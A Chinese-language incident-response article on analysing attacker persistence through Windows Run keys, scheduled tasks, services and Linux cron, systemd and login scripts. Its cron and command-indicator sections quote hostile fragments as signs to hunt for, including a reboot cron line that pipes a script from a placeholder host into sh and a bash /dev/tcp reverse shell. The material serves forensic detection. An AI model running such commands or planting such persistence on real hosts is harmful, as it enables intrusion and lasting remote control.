自启动项、计划任务与服务持久化分析

自启动项、计划任务与服务持久化分析

0x02电子取证 中,启动项检查计划任务检查服务信息检查 已经给出了不少排查入口。但在真实应急中,攻击者不会只留一个孤零零的自启动点,而是倾向于构造一条稳定、隐蔽、可恢复的持久化链。

因此,到了 0x03取证分析 阶段,我们关注的重点应从“哪里能看”升级为“这条持久化链是否成立,它在攻击链中处于什么位置,它是否还在生效”。


0x01 持久化分析的核心目标

围绕持久化,蓝队要回答四个问题:

  1. 驻留点在哪里? 是注册表、计划任务、服务、systemd、cron,还是登录脚本?
  2. 载荷是什么? 是脚本、木马、下载器、PowerShell 还是 LOLBin 调用链?
  3. 触发条件是什么? 是开机、登录、定时、网络联通还是某个特定事件?
  4. 它是否与当前事件闭环? 能否与异常登录、恶意文件、出站流量、告警时间对上?

如果不能回答最后一个问题,就容易把运维组件误判成后门,或者把已经失效的遗留配置误判成现网风险。


0x02 Windows:从 Run 键到计划任务的驻留链

Windows 是攻击者最常利用的持久化平台之一。最常见的驻留位置包括:

  • 注册表 Run / RunOnce
  • 启动文件夹
  • 计划任务
  • 系统服务
  • WMI 事件订阅
  • 映像劫持与 IFEO

1. Run 键与启动目录

典型位置:

  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup
  • %AppData%\Microsoft\Windows\Start Menu\Programs\Startup

分析重点:

  • 路径是否指向 AppDataTempProgramData 等非常驻二进制目录
  • 值名称是否伪装为显卡、输入法、安全组件
  • 命令是否调用 powershell.exe -encwscript.exemshta.exe

单独看到一条 Run 键不一定能定性恶意,但如果它同时指向一份近期落地的可疑样本,且该主机存在异常外联,这就是完整的持久化证据。

2. 计划任务

计划任务是攻击者最偏爱的驻留方式之一,因为它既稳定又容易伪装。

重点看:

  • 任务名是否模仿系统组件,如 UpdateTask, OneDrive Sync, AdobeCheck
  • 触发器是否为 At logonAt startup、高频时间间隔
  • 动作是否执行脚本、下载器或编码 PowerShell
  • 任务创建时间是否与入侵窗口接近

关键证据源:

  • schtasks /query /fo LIST /v
  • C:\Windows\System32\Tasks\
  • Security 日志中的 4698 / 4699
  • 任务 XML 中的 AuthorCommandArguments

典型恶意特征:

  • 指向 %TEMP%C:\Users\Public\C:\ProgramData\ 下的二进制
  • 周期过于频繁,例如每 1 分钟执行一次
  • 使用 cmd /c powershell -nop -w hidden -enc ...

3. 系统服务

服务型持久化的价值在于:

  • 以 SYSTEM 权限运行
  • 开机自动拉起
  • 隐蔽性高,尤其是伪装成驱动或系统组件时

分析重点:

  • 服务名、显示名与可执行路径是否匹配
  • ImagePath 是否指向非常规路径
  • 是否由近期出现的可疑父进程创建
  • 是否存在“服务创建后立刻通信”的时间关联

重点日志:

  • System 7045:新服务安装
  • Security 4697:服务安装

如果看到 4624(Type 3) 网络登录之后,短时间内出现 7045,再接着看到 services.exe 拉起异常进程,这通常是 PsExec、服务木马或远控落地的典型链路。


0x03 Linux:systemd、cron 与登录脚本的驻留面

Linux 侧持久化往往比 Windows 更“朴素”,但同样高效,且更容易藏进运维脚本中。

常见位置:

  • crontab/etc/cron.*
  • systemd unit
  • /etc/rc.local
  • /etc/profile/etc/profile.d/
  • ~/.bashrc~/.zshrc
  • ~/.ssh/authorized_keys

1. cron 持久化

典型恶意用法:

  • @reboot curl http://x.x.x.x/a.sh | sh
  • 每隔 1 分钟执行下载器
  • 定时拉起反弹 shell 或更新后门

重点检查:

  • /etc/crontab
  • /etc/cron.d/
  • /var/spool/cron/
  • 用户私有 crontab -l

分析时不要只看内容,还要看:

  • 文件修改时间
  • 所属用户是否异常
  • 任务执行路径是否落在 /tmp/dev/shm、用户目录隐藏文件

2. systemd 服务

现代 Linux 主机最值得优先审查的是 systemd 持久化,因为它具备以下优势:

  • 可设置为开机自启
  • 可通过 Restart=always 自动拉起
  • 可以伪装成正常后台服务

关键目录:

  • /etc/systemd/system/
  • /usr/lib/systemd/system/
  • /run/systemd/system/

关键字段:

  • ExecStart
  • ExecStartPre
  • User
  • Restart
  • WantedBy

典型恶意特征:

  • 执行路径位于 /tmp/.xx/var/tmp/、用户隐藏目录
  • 服务名模仿系统组件,例如 dbus-update.service
  • ExecStart 指向 shell 脚本而非正常守护进程

3. 登录脚本与环境文件

这类驻留方式很容易被忽略,因为它不像服务或任务那样有明显的“管理入口”。

重点位置:

  • /etc/profile
  • /etc/profile.d/*.sh
  • ~/.bash_profile
  • ~/.bashrc
  • ~/.zshrc

攻击者常利用这些文件做到:

  • 用户登录即回连
  • 设置恶意环境变量
  • 劫持常用命令别名
  • 伪装成运维提示或初始化脚本

这类驻留特别适合结合 命令行历史 一起看,因为它会直接影响登录后的用户行为。


0x04 如何判断“异常”而不是“非我所知”

持久化分析最怕的不是看漏,而是误判。很多运维平台、备份代理、EDR、自研服务都会创建启动项、计划任务和系统服务。

因此建议使用四维判断法:

1. 路径维度

优先怀疑以下路径中的载荷:

  • C:\Users\Public\
  • %AppData%
  • %ProgramData%
  • %Temp%
  • /tmp
  • /var/tmp
  • /dev/shm
  • 用户主目录隐藏目录

2. 命令维度

优先怀疑以下执行链:

  • powershell -enc
  • cmd /c certutil -urlcache
  • mshta, rundll32, regsvr32
  • curl|sh, wget|bash
  • python -c, perl -e, bash -i >& /dev/tcp/...

3. 时间维度

如果创建时间与以下事件高度接近,恶意概率显著上升:

  • 异常登录
  • 漏洞利用告警
  • 木马样本落地
  • 首次 C2 外联

4. 关联维度

单个持久化点不够,要看它是否与以下证据闭环:

  • 对应的落地文件
  • 创建它的进程或用户
  • 后续自动执行记录
  • 外联流量或日志告警

0x05 三条典型持久化攻击链

1. Windows 弱口令后门链

  1. 攻击者通过 RDP 或 SMB 登录主机
  2. 落地样本到 C:\ProgramData\
  3. 新建计划任务或服务
  4. 重启后自动上线 C2

关键证据:

  • 4624 / 4625
  • 4698 / 7045
  • 新落地文件的 MFT 时间
  • C2 通信日志

2. WebShell 到 Linux cron 驻留

  1. Web 漏洞写入 WebShell
  2. 通过 WebShell 下载 ELF 或脚本
  3. 写入 crontab/etc/cron.d/
  4. 周期性回连外网

关键证据:

  • Web 访问日志
  • /tmp 落地文件
  • crontab 修改时间
  • 出站网络连接

3. SSH 控制到公钥后门

  1. 攻击者通过爆破或泄露密码登录
  2. 写入 authorized_keys
  3. 清理命令历史
  4. 后续改用公钥方式免密回连

关键证据:

  • Failed passwordAccepted password
  • authorized_keys 新增内容
  • 登录方式从 password 变为 publickey
  • 用户目录文件时间突变

0x06 分析落地建议

建议把持久化分析整理为统一检查表:

项目位置触发方式载荷路径创建时间是否关联事件
Run 键注册表登录C:\ProgramData\a.exe06-15 02:10
计划任务Tasks XML每 5 分钟powershell -enc ...06-15 02:11
服务ImagePath开机C:\Windows\Temp\svc.exe06-15 02:12
cron/etc/cron.d/每分钟/tmp/.sys.sh06-15 03:01

这种表格既适合实战记录,也方便后续给管理层、法务或 SOC 平台沉淀规则。


0x07 总结

0x02电子取证 中的启动项、计划任务、服务信息检查,解决的是“证据入口”;而在 0x03取证分析 中,我们真正要完成的是持久化定性、攻击链关联与生效状态判断

只有把“载荷路径、触发条件、创建时间、用户身份、后续通信”全部串起来,才能真正区分:

  • 合法运维组件
  • 历史遗留配置
  • 当前仍在工作的恶意后门

这一步,才是从“会查配置”进阶到“会分析入侵”的关键分水岭。